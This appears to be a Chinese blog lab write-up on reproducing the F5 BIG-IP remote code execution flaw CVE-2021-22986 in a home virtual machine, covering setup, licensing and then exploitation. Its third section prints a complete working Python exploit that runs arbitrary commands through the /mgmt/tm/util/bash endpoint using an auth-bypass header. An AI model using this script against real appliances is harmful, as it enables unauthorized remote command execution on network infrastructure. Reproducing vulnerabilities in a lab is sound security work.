F5 BIG-IP 远程代码执行漏洞 CVE-2021-22986 虚拟机上复现
一、在vmware上安裝BIGIP-15.1.0
進入F5官方主頁:https://support.f5.com/csp/home
點擊下載按鈕(如下圖所示)
進入頁面后,我們選擇v15.X版本
選擇15.1.0長期維護版本
在這里,我們選擇虛擬化版本
點擊我接受按鈕
選擇第一個下載
下載完成之后,我們將下載下來的ova文件拖動到虛擬機當中,即可完成虛擬機的安裝
二、BIGIP虛擬機的初始使用
虛擬機登陸
虛擬機裝好后 默認的用戶名是 root,密碼是default.
個別用戶登陸后,會強制要求更換密碼。這里更換的密碼不能是一些常用的字符組合(比如單詞)否則很容易不通過。如果您失敗了幾次,不妨嘗試類似于f8fa7g4k3k69o這樣的密碼。
遠程web登陸
虛擬機root登陸成功后,通過ifconfig命令獲取ip地址(虛擬機要橋接模式哦),假設這里獲取的ip為10.0.0.166, 那么在host主機訪問這個網址,進入web配置頁面
web遠程登陸的用戶名和密碼都是admin,但是我在登陸的時候密碼始終不對,最后,我只好重置這個密碼(如下圖,輸入兩遍新密碼)
終于,在重置密碼后,我web遠程登陸成功了
license激活
接下來,我們點擊license按鈕(我這里是激活過的)
如果不是已激活的狀態,需要進入官網:(http://www.f5.com/trial)來獲取激活碼
流程如圖所示,選擇紅色框框選中的按鈕
點擊Get started按鈕
填寫你的申請信息(官網要登陸哦)
稍后,會在半個小時內,將激活碼發送到您的郵箱里面(郵箱是官網賬號注冊時留的郵箱)
我們收到激活碼后填寫到下面的Base Registration Key欄中,然后選擇Automatic模式進行激活(因為本人激活過了,所以下圖是在網上找的,網上的那個人選擇的是第二個,這里我實際操作選擇的是第一個)
然后點擊Next按鈕,如果出現下一步或者我接受之類的按鈕一律點擊即可
之后一般會自動跳轉到如下圖所示的界面,這就代表激活成功了
三、遠程代碼執行命令
執行代碼
import requests import json from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning)def attack(target_url, command="pwd"):command = f"\'{command}\'"check_url = target_url + '/mgmt/tm/util/bash'headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36",'Content-Type': 'application/json','X-F5-Auth-Token': '','Authorization': 'Basic YWRtaW46QVNhc1M='}data = {'command': "run",'utilCmdArgs':f"-c {command}"}try:response = requests.post(url=check_url, json=data, headers=headers, verify=False, timeout=5)if response.status_code == 200 and 'commandResult' in response.text:print(" {} 存在漏洞".format(target_url))attack_result = json.loads(response.text.replace('\\n', '\\t')).get('commandResult', None)return attack_resultelse:print("{} 不存在漏洞".format(target_url))except Exception as e:print('url 訪問異常 {}'.format(target_url))def format_url(url):try:if url[:4] != "http":url = "https://" + urlurl = url.strip()return urlexcept Exception as e:print('URL 錯誤 {}'.format(url))if __name__ == '__main__':# 你的虛擬機ip地址ip = "your ip"# 執行的命令command = "ls"url = format_url(ip)# 輸出返回結果print(attack(url, command)) 上面的代碼用戶使用的時候,只需要將ip 改成您虛擬機的ip即可,其余無需改變執行結果展示
3.創建一個目錄
到虛擬機中,我們查看目錄是否創建成功
可以看到目錄創建成功
總結
以上是生活随笔為你收集整理的F5 BIG-IP 远程代码执行漏洞 CVE-2021-22986 虚拟机上复现的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: pycharm控制台调试程序
- 下一篇: 多进程多线程处理文本数据